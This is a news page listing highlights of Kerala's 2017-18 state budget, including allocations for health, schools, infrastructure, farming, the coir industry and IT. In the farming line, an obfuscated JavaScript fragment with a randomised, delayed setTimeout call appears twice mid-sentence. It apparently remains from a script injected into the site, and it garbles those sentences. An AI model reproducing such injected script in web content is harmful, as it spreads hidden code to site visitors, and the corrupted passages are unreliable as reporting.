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Highlights of Kerala Budget 2017- 18

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March 6, 2017 | By | Add a Comment

Highlights of Kerala Budget 2017- 18

Budget promises Rs 25,000 crore worth infrastructure projects in 2017-18

Finance minister praises Kerala Industrial Infrastructure Board

Government will spend Rs 150 crore on water conservation projects, says Isaac. Water body revival will be taken up NREGA.

Free treatment for life style diseases. Primary health sector to get Rs 2,000 crore. These health centres will provide free diabetes, cholesterol drugs.

Budget makes provisions for creation of over more than 5,000 medical posts, including doctors.

Rs 10 crore allocated for sewage maintenance. Efforts will be on to bring an end for manual scavenging

Budget promises creation of 2,500 new posts of teachers in the state. State schools to get 45,000 more smart classrooms.

Rs 100 crore allocated for Smart City mission. Thiruvananthapuram likely to be included.

Government to set up autism parks in all districts of the state

Budget allocates Rs 1,621 crore for child welfare.

Finance minister announces Rs 10 crore for endosulfan victims.

Rs 350 crore under Karuna scheme allocated by the minister.

Over one lakh homeless people to get houses under budgetary provisions.

Rs 128 crore allocated for coir industry. Rs 50 crore will be spent under coir workers’welfare scheme.

Government will spend Rs 39 crore for development of ports.

Rs 45 crore allocation for coconut farming, Rs 10 crore for pepper andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and cardamom. Special project for rice cultivation in Kuttanad andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Palakkad.

Budget make provisions for free internet for 20 lakh economically-backward families

Rs 270 crore allocated for public sector units in the state

Budget allocates Rs 549 crore for IT sector. Rs 100 crore allocated for IT mission.

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